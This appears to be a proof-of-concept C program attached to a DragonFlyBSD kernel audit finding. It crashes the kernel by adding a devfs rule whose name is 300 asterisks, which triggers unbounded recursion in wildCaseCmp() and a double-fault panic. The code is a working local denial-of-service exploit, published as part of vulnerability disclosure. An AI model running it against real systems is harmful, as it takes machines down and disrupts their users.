⬢ DragonFlyBSD Kernel Audit
DF-3202 / star_rec.c
← back to finding ↓ download raw
/*
 * DF-3202 - wildCaseCmp() unbounded recursion: kernel stack exhaustion from
 * a star-heavy rule name (no memory-safety bug involved).
 *
 * wildCaseCmp() (sys/vfs/devfs/devfs_core.c:2875) recurses once per '*''
 * encountered ("less-optimal" branch at :2902-2903); the compiled frame is
 * 80 bytes (objdump: push rbp + 5 regs + sub $0x18 + ret).  A DEVFS_RULE_NAME
 * rule whose name is a few hundred '*'s therefore recurses a few hundred
 * frames deep inside devfs_rule_checkname() during DEVFS_RULE_APPLY --
 * on the devfs core thread -- exhausting the kernel stack.  Observed live:
 * rule names of ~95 stars already double-fault on the devfs core thread;
 * 252 stars (from the DF-3200 control pattern) crashed likewise:
 *
 *   Fatal double fault, rip = wildCaseCmp+6 (push %r15)
 *   panic: double fault
 *
 * A PERM rule suffices (checkname runs for NAME rules regardless of cmd);
 * matching every node ("***...*" matches everything) maximizes the chance.
 *
 * Build:  cc -static -O -o star_rec star_rec.c
 * Run  :  ./star_rec    (as root; expect double fault panic)
 */
#include <sys/ioctl.h>
#include <limits.h>
#include <sys/devfs_rules.h>

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

int
main(void)
{
	struct devfs_rule_ioctl r;
	int fd, i;

	fd = open("/dev/devfs", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/devfs");

	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_PERM;	/* any cmd; checkname still runs */
	r.mode = 0666;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	for (i = 0; i < 300; i++)	/* 300 stars -> ~300 recursive frames */
		r.name[i] = '*';
	r.name[300] = '\0';

	if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0)
		err(1, "DEVFS_RULE_ADD");

	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	printf("issuing DEVFS_RULE_APPLY '*' with 300-star name "
	    "-- expect wildCaseCmp stack exhaustion\n");
	fflush(stdout);
	if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0)
		err(1, "DEVFS_RULE_APPLY");
	sleep(5);
	printf("SURVIVED (no panic)\n");
	return 0;
}